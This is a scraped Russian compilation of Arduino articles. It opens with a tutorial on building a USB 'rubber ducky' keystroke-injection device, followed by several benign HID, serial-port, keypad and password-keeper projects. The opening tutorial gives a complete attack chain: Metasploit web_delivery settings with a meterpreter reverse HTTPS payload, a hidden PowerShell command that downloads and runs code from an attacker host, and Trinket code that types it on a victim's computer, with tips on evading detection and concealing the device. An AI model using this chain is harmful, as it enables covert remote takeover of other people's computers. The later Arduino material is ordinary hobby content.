Адуино устройство ввода паролей на компьютере

Взлом компьютера за 3 секунды. Делаем USB-уточку с нуля на Arduino

Начнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.

Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это устройство, которое сделал Hak5, на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд.

Единственный недостаток — вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью.

Мы используем 5V Adafruit Trinket и кабель microUSB — вот и всё, что нам понадобится.
К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем #include. Вам понадобится установить библиотеку, следуя этой инструкции.

#include<\p>

Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().#include void setup() { TrinketKeyboard.begin();
} void loop() { TrinketKeyboard.print(«Help, I am trapped in a computer!
«); delay(500);
}
Выглядит неплохо.

Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300);
} void winRun() { TrinketKeyboard.

pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0);
} void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print(«cmd»); pressEnter(); delay(500); TrinketKeyboard.print(«ipconfig»); delay(100); pressEnter();
}Отлично.

Создадим эксплоит во фреймворке Metasploit.
Будем использовать модуль web_delivery. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.

Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.

use exploit/multi/script/web_delivery

Нужно сказать нашей программе, откуда брать бинарники:

set LHOST 1.2.3.4

Дальше указываем порт, который не вызовет подозрений, что насчёт 443? 😉

set LPORT 443

Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.

set URIPATH /

Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.

set TARGET 2

Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.

set PAYLOAD windows/meterpreter/reverse_https

И наконец exploit.

Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.

use exploit/multi/script/web_delivery set LHOST 1.2.3.4 set LPORT 443 set URIPATH / set TARGET 2 set PAYLOAD windows/meterpreter/reverse_https

exploit

Получаем полезную нагрузку для запуска на компьютере жертвы:

powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');

Теперь можем запустить это с флэшки.#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300);
} void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0);
} void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.

print(«cmd»); pressEnter(); delay(500); TrinketKeyboard.print(«powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.

4:8080/');»); delay(100); pressEnter();
} void loop() { // nothing happens after setup
}Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.

Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта.

Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам — всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.

Источник: https://habr.com/post/407337/

Arduino как HID устройство

До сих пор мы работали только с Arduino UNO. Да вот только то, что я сегодня покажу не работает с Arduino UNO.  На самом деле можно, конечно, но в таком случае нужно кое-чего подшаманить, а это кое-чего не так-то и просто. Что же тогда делать? А вот что.

Кроме Arduino UNO существует множество других версий Arduino. Это и Arduino Nano или Mini, когда размер имеет значение, и Arduino Mega, когда пинов и ресурсов на UNO уже не хватает, а еще нужно подключить килограмм датчиков. А если форм-фактор UNO уж больно нравится, а аналоговых пинов не хватает, то на помощь придет Leonardo.

На Leonardo мы сегодня и остановимся. Отличие Leonardo от UNO не только в дополнительных аналоговых пинах, но и в архитектуре. На Leonardo доступен виртуальный Serial port.

Что это нам дает? Как минимум то, что 1 и 0 пины, которые отвечают за соединение с компьютером на UNO остаются свободными, а при открытии Serial соединения плата не перезагружается. Примите это во внимание.

И главный козырь – компьютер считает Leonardo за HID устройство (Human interface device), а это говорит о том, что Leonardo может притвориться клавиатурой или мышью. Это свойство то мы и будем использовать.

Предыстория

Я люблю играть на электрогитаре. Часто играю в программе Guitar rig. Эта программа является виртуальным гитарным процессором, то есть обрабатывает звук с гитары. К чему все это.

При игре нужно переключаться между пресетами, а руки то заняты. Есть решение – приобрести контроллер для этой программы, вот только он больше не выпускается, да и стоит прилично.

А что если соорудить педаль самому? Вот что из этого получилось.

Нам понадобятся

Arduino Leonardo или его аналоги

Главное – чтобы плата определялась как HID устройство

Кнопка

Тут уж по вашему вкусу

Соединительные провода

Корпус

Тут есть где разгуляться дизайнерской мысли. Я решил не заморачиваться особо и соорудил подобие педали из двух фанерок, обильно смазанных термоклеем. Побаловаться – в самый раз.

Пол царства за термоклей.

Свой среди HID

Как я уже и говорил, Leonardo может притворяться клавиатурой или мышью. Это осуществляется с помощью встроенной библиотеки. Ниже приведен пример кода. Попробуйте запустить его у себя на компьютере. Должна произойти странная вещь.

// Подключаем библиотеку для управления клавиатурой
#include «Keyboard.h» void setup()
{ // Стартуем Keyboard.begin(); delay(3000); // Выделяем весь документ Keyboard.press(KEY_LEFT_CTRL); Keyboard.press('a'); delay(500); Keyboard.releaseAll(); // Стираем текст Keyboard.write(KEY_BACKSPACE); delay(500); // Пишем сообщение Keyboard.println(«Te he.I am controlling your keyboard»); delay(1000); // Выделяем весь документ Keyboard.press(KEY_LEFT_CTRL); Keyboard.press('a'); delay(500); Keyboard.releaseAll(); // Пишем сообщение Keyboard.println(«Goodbye!»); delay(1000); // Выделяем весь документ Keyboard.press(KEY_LEFT_CTRL); Keyboard.press('a'); delay(500); Keyboard.releaseAll(); // Стираем текст Keyboard.write(KEY_BACKSPACE); delay(500); Keyboard.releaseAll(); // Сохраняем документ Keyboard.press(KEY_LEFT_CTRL); Keyboard.press('s'); delay(500); Keyboard.releaseAll(); // Чтобы откатить все назад, нажмите ctrl + z несколько раз
} void loop() {
}

Не спешите бежать и рассказывать о восстании машин. Так и было задумано. Теперь разберемся как это работает.

Keyboard.press(button) – эта команда говорит Leonardo о том, что нужно нажать кнопку на клавиатуре. Аргументом принимает букву или специальное обозначение клавиши. KEY_LEFT_CTRL – это левый Ctrl, например. Все обозначения можно посмотреть тут.

Можно нажимать комбинации клавиш. Для этого пропишите несколько строк кода с нужными клавишами. Например, чтобы сохранить текст есть комбинация Ctrl + s, Leonardo тоже сможет сохранить текст если выполнить такой код:

Keyboard.press(“s”);
Keyboard.press(KEY_LEFT_CTRL);

Keyboard.releaseAll() – команда говорит Leonardo отпустить клавиши. Заметьте, что предыдущая команда говорит Leonardo только о нажатии клавиши. Если не прописать Keyboard.releaseAll(), то клавиша будет зажата и дальше. Прямо как в реальности. Попробуйте открыть текстовый редактор и зажать клавишу.

Keyboard.println(«Some text«) – эта команда отвечает за печать текста. Тут все предельно ясно. Работает как Serial.println.

Там есть и другие функции, но эти – самые основные. Их нам хватит, чтобы сделать педаль для гитары. Если кому интересно, что еще есть в этой библиотеке или в похожей для мыши, то можно открыть примеры/USB и почитать тут. Переходим к сборке педали.

Схема

С конструкцией можно подумать, а схема устройства крайне проста. Ниже приведена схема на макетке.

Код

// Подключаем библиотеку для работы с Leonardo как с клавиатурой
#include «Keyboard.h» // Определяем пин кнопки
#define BUTTON_PIN A0
// Создаем переменную для считывания показаний с кнопки
bool button = 0; void setup() { // Открываем соединение с COM портом Serial.begin(9600); // Определяем кнопку как вход с подтягивающим резистором // Что такое подтягивающий резистор и для чего он нужен можно прочитать здесь: // http://cxem.net/arduino/arduino185.php pinMode(BUTTON_PIN, INPUT_PULLUP);
} void loop() { // Считываем показания с кнопки button = digitalRead(BUTTON_PIN); // Помним, что в отпущеном состоянии значение на кнопке равно 1 if(!button) { // Отправляем клавишу в Serial. Я решил отправлять n // Для некоторых клавиш есть специальные обозначения. // Например, чтобы отправить левый Shift, вы должны написать такую команду — Keyboard.press(KEY_LEFT_SHIFT ); // Коды для других клавиш приведены здесь // https://www.arduino.cc/en/Reference/KeyboardModifiers Keyboard.press('n'); // Ждем немного delay(10); } else { // Когда кнопка отпущена — отправляем команду остановить все нажатия Keyboard.releaseAll(); }
}

Видео

На видео показан тест устройства в Microsoft Word и использование в качестве педали для переключения пресетов в guitar Rig 5. Для этого я создал новый контроллер, запомнил клавишу и задал действие.

Итог

Оказывается, существуют и другие Arduino, не менее полезные, а где-то и более полезные чем UNO.

Используя Leonardo в качестве клавиатуры или мыши можно создавать интересные вещи. Например, флешку-розыгрыш на 1 апреля, которая будет нажимать клавиши через определенные интервалы. Такая штучка доставит вашей цели кучу незабываемых эмоций. Только тсс, я этого не говорил.

Прикрепленные файлы:

Источник: http://cxem.net/arduino/arduino231.php

Arduino. Работа с COM-портом

Для связи микроконтроллера с компьютером чаще всего применяют COM-порт. В этой статье мы покажем, как передать команды управления из компьютера и передать данные с контроллера.

Подготовка к работе

Большинство микроконтроллеров обладают множеством портов ввода-вывода. Для связи с ПК наиболее пригоден из них протокол UART. Это протокол последовательной асинхронной передачи данных.

Для его преобразования в интерфейс USB на плате есть конвертор USB-RS232 – FT232RL.
Для выполнения примеров их этой статьи вам будет достаточно только Arduino-совместимая плата. Мы используем EduBoard.

Убедитесь, что на вашей плате установлен светодиод, подключенный к 13му выводу и есть кнопка для перезагрузки.

Таблица ASCII

Для примера загрузим на плату код, выводящий таблицу ASCII. ASCII представляет собой кодировку для представления десятичных цифр, латинского и национального алфавитов, знаков препинания и управляющих символов.

int symbol = 33; void setup() { Serial.begin(9600); Serial.println(«ASCII Table ~ Character Map»); } void loop() { Serial.write(symbol); Serial.print(«, dec: «); Serial.print(symbol); Serial.print(«, hex: «); Serial.print(symbol, HEX); Serial.print(«, oct: «); Serial.print(symbol, OCT); Serial.print(«, bin: «); Serial.println(symbol, BIN); if(symbol == 126) { while(true) { continue; } } symbol++; }

Читайте также:  Esr-тестер: что это такое и как он облегчает жизнь - arduino+

Переменная symbol хранит код символа. Таблица начинается со значения 33 и заканчивается на 126, поэтому изначально переменной symbol присваивается значение 33.
Для запуска работа порта UART служит функция Serial.begin().

Единственный ее параметр – это скорость. О скорости необходимо договариваться на передающей и приемной стороне заранее, так как протокол передачи асинхронный. В рассматриваемом примере скорость 9600бит/с.

Для записи значения в порт используются три функции:

  1. Serial.write() – записывает в порт данные в двоичном виде.
  2. Serial.print() может иметь много значений, но все они служат для вывода информации в удобной для человека форме. Например, если информация, указанная как параметр для передачи, выделена кавычками – терминальная программа выведет ее без изменения. Если вы хотите вывести какое-либо значение в определенной системе исчисления, то необходимо добавить служебное слово: BIN-двоичная, OCT – восьмеричная, DEC – десятичная, HEX – шестнадцатеричная. Например, Serial.print(25,HEX).
  3. Serial.println() делает то же, что и Serial.print(), но еще переводит строку после вывода информации.

Для проверки работы программы необходимо, чтобы на компьютере была терминальная программа, принимающая данные из COM-порта. В Arduino IDE уже встроена такая. Для ее вызова выберите в меню Сервис->Монитор порта. Окно этой утилиты очень просто:

Монитор порта

Теперь нажмите кнопку перезагрузки. МК перезагрузится и выведет таблицу ASCII:

Таблица ASCII

Обратите внимание на вот эту часть кода:

if(symbol == 126) { while(true) { continue; } }

Она останавливает выполнение программы. Если вы ее исключите – таблица будет выводиться бесконечно.
Для закрепления полученных знаний попробуйте написать бесконечный цикл, который будет раз в секунду отправлять в последовательный порт ваше имя. В вывод добавьте номера шагов и не забудьте переводить строку после имени.

Отправка команд с ПК

Прежде чем этим заниматься, необходимо получить представление относительного того, как работает COM-порт.
В первую очередь весь обмен происходит через буфер памяти. То есть когда вы отправляете что-то с ПК устройству, данные помещаются в некоторый специальный раздел памяти.

Как только устройство готово – оно вычитывает данные из буфера. Проверить состояние буфера позволяет функция Serial.avaliable(). Эта функция возвращает количество байт в буфере. Чтобы вычитать эти байты необходимо воспользоваться функцией Serial.read().

Рассмотрим работу этих функций на примере:

int val = 0; void setup() { Serial.begin(9600); } void loop() { if (Serial.available() > 0) { val = Serial.read(); Serial.print(«I received: «); Serial.write(val); Serial.println(); } }

После того, как код будет загружен в память микроконтроллера, откройте монитор COM-порта. Введите один символ и нажмите Enter. В поле полученных данных вы увидите: “I received: X”, где вместо X будет введенный вами символ.
Программа бесконечно крутится в основном цикле.

В тот момент, когда в порт записывается байт функция Serial.available() принимает значение 1, то есть выполняется условие Serial.available() > 0. Далее функция Serial.read() вычитывает этот байт, тем самым очищая буфер. После чего при помощи уже известных вам функций происходит вывод.

Использование встроенного в Arduino IDE монитора COM-порта имеет некоторые ограничения. При отправке данных из платы в COM-порт вывод можно организовать в произвольном формате. А при отправке из ПК к плате передача символов происходит в соответствии с таблицей ASCII.

Это означает, что когда вы вводите, например символ “1”, через COM-порт отправляется в двоичном виде “00110001” (то есть “49” в десятичном виде).

Немного изменим код и проверим это утверждение:

int val = 0; void setup() { Serial.begin(9600); } void loop() { if (Serial.available() > 0) { val = Serial.read(); Serial.print(«I received: «); Serial.println(val,BIN); } }

После загрузки, в мониторе порта при отправке “1” вы увидите в ответ: “I received: 110001”. Можете изменить формат вывода и просмотреть, что принимает плата при других символах.

Управление устройством через COM-порт

Очевидно, что по командам с ПК можно управлять любыми функциями микроконтроллера. Загрузите программу, управляющую работой светодиода:

int val = 0; void setup() { Serial.begin(9600); } void loop() { if (Serial.available() > 0) { val = Serial.read(); if (val=='H') digitalWrite(13,HIGH); if (val=='L') digitalWrite(13,LOW); } }

При отправке в COM-порт символа “H” происходит зажигание светодиода на 13ом выводе, а при отправке “L” светодиод будет гаснуть.
Если по результатам приема данных из COM-порта вы хотите, чтобы программа в основном цикле выполняла разные действия, можно выполнять проверку условий в основном цикле. Например:

int val = '0'; void setup() { Serial.begin(9600); } void loop() { if (Serial.available() > 0) { val = Serial.read();} if (val=='1') { digitalWrite(13,HIGH); delay (100); digitalWrite(13,LOW); delay (100); } if (val=='0') { digitalWrite(13,HIGH); delay (500); digitalWrite(13,LOW); delay (500); } }

Если в мониторе порта отправить значение “1” светодиод будет мигать с частотой 5Гц. Если отправить “0” – частота изменится на 1Гц.

Индивидуальные задания

  1. Придумайте три светодиодных эффекта, переключение между которыми можно осуществлять при отправке различных символов с ПК.
  2. Напишите программу, мигающую светодиодом с частой, заданной пользователем с ПК.

Остальные статьи цикла можно найти здесь.

Мы будем очень рады, если вы поддержите наш ресурс и посетите магазин наших товаров shop.customelectronics.ru.

Источник: http://www.customelectronics.ru/arduino-rabota-s-com-portom/

Управление Arduino с компьютера

 

Подружить Arduino с компьютером очень просто. Данные передаются через виртуальный порт RS-232(COM).

Итак переходим к действиям. Три светодиода будут управляться с клавиатуры, нажатием клавиш влево и вправо. Зажигаем первый светодиод и нажимаем клавишу влево, горящий светодиод тухнет, а слева от него загорается.

Когда позиция горящего светодиода крайняя, нажатие в ту же сторону приведет к переходу на светодиод с противоположной стороны.

На компьютере управляющая программа будет отображать позицию горящего светодиода.

Схема со светодиодами, крайне проста. LED1-3 светодиоды подключенные к ШИМ-выводам. ШИМ потребуются для фэйд-эффекта.

R1 двухсотомный резистор. Для ограничения тока проходящего через светодиод, иначе диод можно спалить.

Небольшая программа для Arduino. (Скачиваем)

// Serial LED control // compblog.vlukyanov.com //Объявляем переменные. int pin[] = {3, 5, 6}; // Объявляем массив в котором указанны номера выводов int i = 0; // Переменная для определения текущей позиции горящего светодиода int prev_i = 0; // Переменная для запоминания предыдущего светодиода // Настраиваем Arduino void setup() { // Запускаем цикл, в котором определяем контакты 3,5,6 как выводные for (int t = 0; t < 3; t++ ) // > { pinMode(pin[t], OUTPUT); } Serial.begin(9600); // Инициализируем перередачу данных по COM-порту на скорости 9600 бод } void loop() { // Запускаем цикл без каких либо действий // Только когда данные придут на COM-порт продолжится выполнение программы дальше этой строки while (Serial.available() == 0); // Данные пришли, считываем их в переменную i i = Serial.read(); // Постепенно гасим предыдущий светодиод, понижая яркость с 255 до 0; for (int j=255; j > 0; j—) { analogWrite(pin[prev_i],j); delay(1); // Небольшая задержка } analogWrite(pin[prev_i],0); // Окончательно гасим светодиод // Пришедшее значение i используем для включения следующего светодиода for (int j=0; j < 255; j++) // > { analogWrite(pin[i],j); delay(1); } // Запоминаем значение светодиода, чтоб потом гасить его, когда появится новое значение на COM-порту prev_i = i; }

Теперь нужна программа на компьютере, которая будет посылать необходимые данные в COM-порт и отображать данные на экран. Processing хорошо подойдет.
IDE Arduino основана на processing, поэтому они очень похожи как внешне, так и по синтаксису.

Тоже довольно простая программа на Processing. (Скачиваем)

// Serial LED control // compblog.vlukyanov.com import processing.serial.*; // подключаем библиотеку для общения по COM-порту // в IDE Arduino это сделанно по умолчанию, тут надо это делать дополнительно int value = 1; // переменная которую будем отправлять в COM-порт для Arduino Serial port; // переменная обозначающая порт PFont f; // переменна для шрифта void setup() { size(500,500); // создаем окно 500 на 500 px f = createFont(«Colibri», 15,true); // определяем шрифт для данного окна port = new Serial(this, «COM5», 9600); // задаем параметры порта, у меня он пятый } void draw() { // создаем окно background(0, 0, 0); // черный бэкграунд для окна textFont(f,200); // создаем текст text(value-1,200,300); // выводим в центр значение переменной value } void keyPressed() { // обрабатываем нажатия клавиш // переменная value сдвинута от нулевой позиции на 2, чтоб не загонять ее в минус if (keyCode == LEFT) { // при нажатии клавиши влево value = value + 1; // увеличиваем значение value на 1 if ( value > 4 ) value=2; // если она оказывается вне пределов третьего светодиода — сбрасываем значение в 2 port.write(value-2); // и отправляем это значение в COM-порт } else if (keyCode == RIGHT) { // при нажатии клавиши вправо value = value — 1; // уменьшаем значение value на 1 if ( value < 2 ) value=4; // если она оказывается вне пределов первого светодиода - сбрасываем значение в 4 > port.write(value-2); // и отправляем это значение в COM-порт } else { } // в остальных случаях ничего не делаем }

Все относительно просто. Программа на компьютере передает цифровые значения в Com-порт, Arduino гасит текущий светодиод и зажигает светодиод с номером пришедшем через порт.

Источник: http://compblog.VLukyanov.com/?p=344

Урок 13. Подключение клавиатуры 4*4 и пьезоизлучателя к Arduino

Теперь научимся подключать устройство ввода к Ардуине. В этом примере разберемся, как подключить мембранную клавиатуру 4*4

Данный пример будет выполнять две задачи:

  1. Первая задача: определяет, какая из клавиш была нажата на клавиатуре и передать информацию по сериал порту на компьютер, где в «мониторе последовательного порта «.
  2. Вторая задача: при каждом нажатии клавиш издавать звуковой сигнал. У каждой клавиши звуковой сигнал будет разный.

В данном уроке нам понадобится:

Для реализации проекта нам необходимо установить библиотеки:

  • Библитетка keypad для клавиатуры 4×4

Сборка:

1) Клавиатуру удобнее всего подключить к Ардуине проводками Папа-Папа.

Контакты на клавиатуре отсчитываются слева на право.

Клавиатура 4*4Arduino (uno)
Контакт 1 pin 11
Контакт 2 pin 10
Контакт 3 pin 9
Контакт 4 pin 8
Контакт 5 pin 7
Контакт 6 pin 6
Контакт 7 pin 5
Контакт 8 pin 4

Контакты к которым подключаем клавиатуру, могут быть перенастроены на любые другие цифровые контакты. Настраиваются здесь:

byte rowPins[ROWS] = {11,10, 9, 8}; byte colPins[COLS] = {7, 6, 5, 4};

2) Звуковой сигнал будет издаваться с помощью зуммера, его подключаем следующим образом:

ЗуммерArduino
GND GND
IO pin 3
VCC 5V или 3V

Контакт Pin3 так же может быть изменен на любой удобный вам цифровой выход. Настраивается здесь:

tone(3, (int)key*10, 300); // 3 — это и есть номер цифрового порта

Скетч:

Теперь, если все подключено и библиотеки установлены, можно приступить к загрузке скетча.

#include // Подключаем библиотеку const byte ROWS = 4; // 4 строки
const byte COLS = 4; // 4 столбца
char keys[ROWS][COLS] = { {'1','2','3','A'}, {'4','5','6','B'}, {'7','8','9','C'}, {'*','0','#','D'}
}; byte rowPins[ROWS] = {11,10, 9, 8}; byte colPins[COLS] = {7, 6, 5, 4}; Keypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS );
void setup(){ Serial.begin(9600);
}
void loop(){ char key = keypad.getKey(); if (key){ Serial.println(key); // Передаем название нажатой клавиши в сериал порт tone(3, (int)key*10, 300); // Издаем звуковой сигнал длиной 300 миллисекунд }
}

Скачать скетч можно по этой ссылке

Видео:

Источник: https://lesson.iarduino.ru/page/urok-13-podklyuchenie-klaviatury-4-4-i-pezoizluchatelya-k-arduino

USB генератор пароля в виде флешки

» Схемы » Безопасность · Применение микроконтроллеров

Читайте также:  Обзор parrot bebop drone 2 - arduino+

30-05-2012

Данное устройство, выполненное в виде USB флешки, предназначено для генерирования и ввода символьного пароля в персональный компьютер при подключении его в разъем USB.

Другими словами, это своего рода электронный ключ, при подключении которого в разъем USB персонального компьютера, например при входе в Windows, автоматически вводится сохраненный пароль.

Устройство по команде пользователя может сгенерировать произвольный пароль и сохранить его в энергонезависимой памяти.

Устройство очень простое и выполнено на микроконтроллере Atmel AVR ATtiny85, который, с помощью программного кода, эмулирует USB HID клавиатуру.

Сгенерированный самим микроконтроллером и сохраненный в EEPROM микроконтроллера пароль передается при подключении устройства в USB разъем.

Новый пароль генерируется после 4-х кратного нажатия на кнопку Caps Lock на штатной клавиатуре: 4 нажатия для запуска режима генерации и затем, одно нажатие клавишы Caps Lock для генерирования каждого символа пароля (длина пароля по умолчанию 10 символов).

Помимо микроконтроллера в схеме используется несколько пассивных компонентов, которые обязательны при реализации USB коммуникации на микроконтроллере.

Корпус устройства позаимствован от неисправного флеш-накопителя емкостью 512 МБайт. Коннектор USB был взят от обычного USB кабеля, он и остальные компоненты монтируются на макетную плату соответствующего размера.

Программа микроконтроллера

Программное обеспечение для микроконтроллера написано с использованием библиотеки V-USB для AVR микроконтроллеров.

Устройство определяется компьютером как USB HID клавиатура. Для обеспечения коммуникации с устройством оно выполнено в виде Boot-совместимой клавиатуры, которая может получать статус светодиодов (в частности, для нашего случая Caps Lock) изменяемого компьютером.

Описание HID позаимствовано с проекта карточки USB Business card (Frank Zhao).

Также благодаря этому проекту был изучен и применен код для отправки статуса светодиодов в USB HID устройство (коротко, компьютер посылает 1 байтное сообщение – битовую маску состояния светодиодов).

Основные параметры, определяющие функционирование устройства, которые вы найдете в тексте исходного кода программы микроконтроллера (файл usbsconfig.h и HID-дискриптор):

  • PASS_LENGTH – длина генерируемого пароля, определяется в начале программы;
  • SEND_ENTER – значение может быть 1 или 0, определяет будет ли отправлена нашим устройством команда Enter после ввода сохраненного пароля;
  • measuring_message и finish_message – содержат сообщения, которые будут отображаться при генерации/сохранении нового пароля;
  • buildReport() – функция, вызываемая в основном цикле программы, для отправки символов пароля на ПК один за одним – функция преобразует символы в буфере messageBuffer в USB команды «на лету»;
  • usbFunctionWrite() – функция осуществляет прием байта состояния светодиодов от ПК, она вызывает функцию caps_toggle() каждый раз при изменении статуса светодиода;
  • generate_character() – функция используетсядля генерирования произвольного символа, и на данный момент используются буквы, дефис и символ подчеркивания;
  • caps_toggle() – функция ведет подсчет нажатий кнопки Caps Lock (по изменению состояния светодиода Caps Lock) и осуществляет генерацию/сохранение пароля.

В разделе загрузок для пользователей доступен исходный код с подробными комментариями, принципиальная схема и make-файл для компиляции. Следует учитывать, что необходимо произвести настройку Fuse-битов микроконтроллера: CKSEL=0001, SUT=10 (младший байт E1) и установить BOD на уровень 2.7 В (старший байт DD).

Работа с генератором пароля наглядно продемонстрирована на видео:

Загрузки

Исходные коды, схема, make-файл – скачать

codeandlife.com

Для комментирования материалов с сайта и получения полного доступа к нашему форуму Вам необходимо зарегистрироваться.
Фрагменты обсуждения: Полный вариант обсуждения »
  • Занятная вещь. С одной стороны не так много применений этому девайсу, с другой тут показано как программно состыковать МК с ПК без разных переходников. По RS232 каждый сможет сделать… Хорошо, что не нужно драйверов допролнительных
  • Не согласен. Почти уже всё решается в онлайне и почти везде требуется регистрация, то-бишь ввод пароля, а параметры этого пароля в разных местах разные. В одних — это Заглавная первая буква плюс обязательное наличие цифр, в других ограничение по длине пароля, без ограничения его содержимого, где-то может понадобится сверхсекретность т.е. пароль защищённый от взлома в стиле брут-форс. У меня таких пароле по-крайней мере три и я один-хрен их иногда забываю. Так-что лично я о подобном девайсе давно уже думаю, только руки пока не дошли.
  • shindax данное устройство предназначен для получения доступа к компьютеру, а не к сайтам….
  • Опять 25. 10 лет назад можно было посмотреть в фильмах — загрузка 5 рисунков, в результате цифровой код. Сегодня куча прог требуют пароля подобным образам — допустим на СД для предпринимателей. В домашнем компе, кому необходима секретность — вводят пароль вручную — без запоминания. Новшевство в чем? Винду сейчас с флешки заводят. Что пароль и на флешку записать можно?
  • Можно под кожу вшить…
  • А есть разница куда именно нужно войти? HID, он и в Африке HID, к чему подключен, туда и введётся. И я разве сказал «такое-же»? Я сказал «подобное». Лично мне подобный девайс нужен для доступа именно к платёжным системам, где жёсткие требования к паролям.
  • ТО, что я написал — разницы нет. В некоторых прогах есть. Лет 5 назад какой то умный придумал прогу для предпринимателей. Для регистрации 2 паролей в налоговой требовали 2 диска сидюковских — записать на каждом по 16 бит инфы. Когда спрашивали «какой дебил это придумал?», само собой отвечали, а мы здесь при чем.
  • Я г-ну lllll отвечал. 🙂
Полный вариант обсуждения »

При перепечатке материалов с сайта прямая ссылка на РадиоЛоцман обязательна.

Приглашаем авторов статей и переводов к публикации материалов на страницах сайта.

Источник: https://www.rlocman.ru/shem/schematics.html?di=133991

Чиндогу на Arduino Pro Micro или зачем просто когда можно сложно!

  • AliExpress
  • Радиотовары
  • Сделано руками

Данный обзор я хочу посвятить конструкции PasswordKeeper на модуле Aruino Pro Micro (ATmega32U4). Проект предназначен для хранения, выбора и ввода в комп одного из множества паролей.

Про саму плату сложно что-то необычное сказать. Пришла быстро, упакована хорошо, монтаж аккуратный, работает без замечаний.

Основная проблема с микроконтроллерами для энтузиаста — это придумать, для чего их применить 🙂 Я давно хотел собрать что-нибудь мелкое и относительно полезное в хозяйстве.

А тут коллега по работе подкинул интересную идею — ему лень было каждый день вводить пароль для входа в свой компьютер и он собрал на плате DigiSpark (ATTiny85) приспособу, которая отправляет имя и пароль в комп при нажатии на кнопку. Получилось у него вот что:

Upd: Коллега выложил свой проект сюда.

Отличная идея — подумал я. Почему бы ее не позаимствовать и творчески переработать. Пересобирать и перезагружать проект Arduino каждый раз при смене пароля — это неспортивно.

Кроме того, один пароль — это мало.

Ведь можно сделать все гораздо сложнее и запутаннее! Игрушка должна показывать, как она работает.

Но трех штатных светодиодов для этого явно мало, пусть их будет 4099! Так в проект добавился маленький дисплей OLED 128X32.

Я все никак не мог придумать, куда его можно приспособить. А тут он идеально подошел по размеру и назначению. Еще потребуется пара кнопок — для управления. Ресурсов ATTiny85 явно не хватало для проекта — добавление дисплея потянуло за собой графическую библиотеку+шрифты и все это в DigiSpark не влезало.

Но поиск обнаружил подходящую платформу: Arduino Pro Micro.

Смысл проекта в том, что Aruino Pro Micro по умолчанию прикидывается USB клавиатурой и USB COM портом. Драйверы для этих устройств уже присутствуют в операционной системе — и ничего дополнительно устанавливать не надо.

Конечно существуют всякие программы, которые где-то хранят в себе пароли, но они не могут их передать на экран логина тк пользователь еще не вошел в систему. Предлагаемое вашему вниманию чиндогу PasswordKeeper имитирует нажатия кнопок клавиатуры и может передать логин и пароль в любом режиме компа.

Даже Ctrl-Alt-Del послать может нажатием 1 кнопки вместо 3!

Формфактор выбранных модулей оказался очень удобным и компактным. Можно с минимальными усилиями собрать маленькое и относительно полезное устройство. Схема получается — проще некуда.Быстро рукожопим макет и отлаживаем на нем скетч.Но в таком виде пользоваться им неудобно, поэтому в Sketchup проектируем маленький корпус.

И печатаем его на таком на 3D принтере

Как водится, поспешность нужна при ловле блох. В первый вариант корпуса плата не лезет! Промахнулся с размерами и выбрал слишком маленькие зазоры. Исправляем чертеж, перепечатываем и получаем второй вариант. Уже лучше — плата входит тик-в-тик.Нажимаем на контроллер и с характерным хрустом он встает на место. Примеряем кнопочки — входят без проблем.

Далее вставляем толкатели, припаиваем кнопочки и дисплей.

Кстати, я долго искал удобный монтажный провод для макетирования. Наш МГТФ конечно хорош, но не всегда удобен.В результате сейчас я пользуюсь присутствующем на предыдуших фото проводом 30AWG от все тех же китайцев. Цветными проводами удобно выделять цепи по смыслу.

Провод тонкий, изоляция хорошо держит температуру паяльника.

